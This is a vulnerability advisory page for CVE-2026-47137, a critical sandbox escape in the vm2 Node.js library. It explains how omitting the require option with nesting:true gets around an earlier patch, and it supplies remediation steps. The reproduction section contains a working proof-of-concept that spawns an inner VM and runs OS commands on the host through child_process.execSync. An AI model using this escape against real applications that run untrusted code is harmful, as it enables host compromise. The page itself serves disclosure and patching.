Skip to main content

vm2 CVE-2026-47137

| EUVDEUVD-2026-36443 CRITICAL
Improper Control of Dynamically-Managed Code Resources (CWE-913)
2026-05-29 https://github.com/patriksimek/vm2 GHSA-m4wx-m65x-ghrr
Critical
Disputed · 10.0 Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Sources disagree (Medium–Critical)
Vendor (https://github.com/patriksimek/vm2) PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Red Hat
4.1 MEDIUM
qualitative

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/patriksimek/vm2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 18:15 vuln.today
Analysis Generated
May 29, 2026 - 18:15 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 88 npm packages depend on vm2 (4 direct, 84 indirect)

Ecosystem-wide dependent count for version 3.11.4.

DescriptionCVE.org

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

javascript
// nodevm.js:263 - the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 - the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

  1. require('vm2') to get the vm2 library
  2. Construct an inner NodeVM with require: { builtin: ['child_process'] }
  3. Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

javascript
const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid - full RCE

Suggested Fix

javascript
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

javascript
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}

AnalysisAI

Sandbox escape in vm2 (npm package, versions <= 3.11.3) allows full remote code execution by bypassing the GHSA-8hg8-63c5-gwmx (CVE-2023-37903) patch through omission of the require option when nesting:true is set. Publicly available exploit code exists in the GHSA advisory itself, and with a CVSS of 10.0 (AV:N/AC:L/PR:N/UI:N/S:C) any application passing untrusted code to a NodeVM configured this way is trivially compromised on the host.

Technical ContextAI

vm2 (pkg:npm/vm2) is a widely deployed Node.js sandbox library used to execute untrusted JavaScript with constrained access to host APIs. The root cause aligns with CWE-913 (Improper Control of Dynamically-Managed Code Resources): the security guard in lib/nodevm.js line 263 uses strict equality (options.require = false), which only matches the literal false shape. Omitting require makes options.require = undefined, the guard short-circuits to false, and the subsequent destructuring default (require: requireOpts = false on line 280) reinstates the very configuration the original GHSA-8hg8-63c5-gwmx patch was designed to block. The resulting NESTING_OVERRIDE-only resolver permits require('vm2') from inside the sandbox, enabling construction of an inner NodeVM with builtin: ['child_process'] and direct invocation of child_process.execSync on the host.

RemediationAI

Vendor-released patch: upgrade vm2 to 3.11.4 or later (npm install vm2@^3.11.4), which lands the structural fix in commits 01a7552add345d5a6862623884e6b79a85bf0568 and 86ab819f202c3a8dad88cef5705f2e416c5188d7 - destructure first, then validate nesting === true && !requireOpts so every falsy/omitted require shape collapses to a construction-time VMError. If upgrading immediately is not possible, the actionable workaround is to remove nesting: true from every NodeVM constructor call (this denies all requires, but breaks any legitimate nested-VM use case), or to pass an explicit require config object such as require: { builtin: [] } to the outer NodeVM so the resolver is built deliberately rather than through the falsy default; note that nesting: true is itself documented by the vendor as an escape-hatch surface, so review whether it is needed at all. As a defense-in-depth measure for code that genuinely must execute untrusted JavaScript, isolate the Node.js process at the OS level (seccomp/AppArmor, dedicated low-privilege user, network egress restrictions) so that child_process.execSync from an escaped sandbox has minimal blast radius; refer to GHSA-m4wx-m65x-ghrr and the v3.11.4 release notes for the full upgrade guidance.

Vendor StatusVendor

Share

CVE-2026-47137 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy